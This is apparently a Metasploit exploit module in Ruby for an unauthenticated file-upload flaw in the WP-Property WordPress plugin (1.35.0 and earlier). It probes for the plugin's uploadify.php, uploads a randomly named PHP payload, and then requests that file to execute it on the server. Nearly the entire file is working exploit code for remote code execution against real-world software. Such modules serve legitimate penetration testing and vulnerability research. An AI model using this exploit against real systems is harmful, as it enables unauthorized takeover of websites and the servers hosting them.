##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
      'Description'    => %q(
        This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
        plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
        temp directory without authentication, which results in arbitrary code execution.
      ),
      'Author'         =>
        [
          'Sammy FORGIT',	# initial discovery
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '82656'],
          ['BID', '53787'],
          ['EDB', '18987'],
          ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html'],
          ['WPVDB', '6225']
        ],
      'Platform'       => 'php',
      'Arch'		     => ARCH_PHP,
      'Targets'        => [['wp-property <= 1.35.0', {}]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-03-26'))
  end

  def check
    uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify', 'uploadify.php')

    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => uri
    )

    return Exploit::CheckCode::Unknown if res.nil? || res.code != 200

    Exploit::CheckCode::Detected
  end

  def exploit
    data_uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify/')
    request_uri = normalize_uri(data_uri, 'uploadify.php')

    payload_name = "#{rand_text_alpha(5)}.php"

    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
    data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"")
    post_data = data.to_s

    print_status("Uploading payload #{payload_name}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => request_uri,
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    )

    if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    register_files_for_cleanup(payload_name)

    upload_uri = normalize_uri(res.body)

    print_status("Executing payload #{payload_name}")
    send_request_raw(
      'uri'    => upload_uri,
      'method' => 'GET'
    )
  end
end
